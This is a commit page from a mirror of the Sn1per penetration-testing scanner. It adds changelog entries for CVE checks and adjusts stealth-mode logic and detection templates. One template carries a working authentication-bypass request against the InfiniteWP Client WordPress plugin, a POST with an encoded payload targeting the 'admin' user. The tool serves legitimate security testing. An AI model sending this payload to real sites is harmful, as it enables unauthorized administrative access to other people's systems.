RomanNum3ral
/
Sn1per
mirror of https://github.com/1N3/Sn1per.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

* v8.7 - Fixed logic error in stealth mode recon scans not running 

* v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset
* v8.7 - Fixed F- detection in Wordpress Sc0pe templates
* v8.7 - Added CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection
* v8.7 - Added CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE
This commit is contained in:
@xer0dayz 2020-08-23 16:48:13 -07:00 committed by xer0dayz
parent 439db5e98f
commit 4adbb24a48
7 changed files with 13 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
CHANGELOG.md
View File

@ -1,4 +1,9 @@
## CHANGELOG:
* v8.7 - Fixed logic error in stealth mode recon scans not running
* v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset
* v8.7 - Fixed F- detection in Wordpress Sc0pe templates
* v8.7 - Added CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection
* v8.7 - Added CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE
* v8.7 - Added CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution Bypass
* v8.6 - Added new Sn1per configuration flow that allows persistent user configurations and API key transfer
* v8.6 - Updated port lists to remove duplicate ports error and slim down list

6
modes/stealth.sh
View File

@ -115,11 +115,11 @@ if [[ "$MODE" = "stealth" ]]; then
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i \"wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp\" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null$RESET"
fi
cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
source $INSTALL_DIR/modes/osint.sh
source $INSTALL_DIR/modes/recon.sh
cd $INSTALL_DIR
echo ""
fi
source $INSTALL_DIR/modes/osint.sh
source $INSTALL_DIR/modes/recon.sh
cd $INSTALL_DIR
echo ""
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"

2
templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-8772 - InfiniteWP Client 1.9.4.5 - Authentication Bypass 1'
URI='/wp-admin/'
METHOD='POST'
MATCH="content\=\"WordPress\ "
MATCH="IWPHEADER"
SEVERITY='P2 - HIGH'
CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' --data '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='"
SECONDARY_COMMANDS=''

2
templates/active/Directory_Listing_Enabled.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Directory Listing Enabled'
URI='/'
METHOD='GET'
MATCH="<title>Index\ of|To\ Parent\ Directory"
MATCH="Index\ of|To\ Parent\ Directory"
SEVERITY='P4 - LOW'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

2
templates/active/Wordpres_Scanner_1.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Wordpress Detected 1'
URI='/'
METHOD='GET'
MATCH="content\=\"WordPress\ "
MATCH="content\=\"WordPress"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

2
templates/active/Wordpres_Scanner_2.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Wordpress Detected 2'
URI='/blog/'
METHOD='GET'
MATCH="content\=\"WordPress\ "
MATCH="content\=\"WordPress"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

2
templates/active/Wordpres_Scanner_3.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='Wordpress Detected 3'
URI='/wordpress/'
METHOD='GET'
MATCH="content\=\"WordPress\ "
MATCH="content\=\"WordPress"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''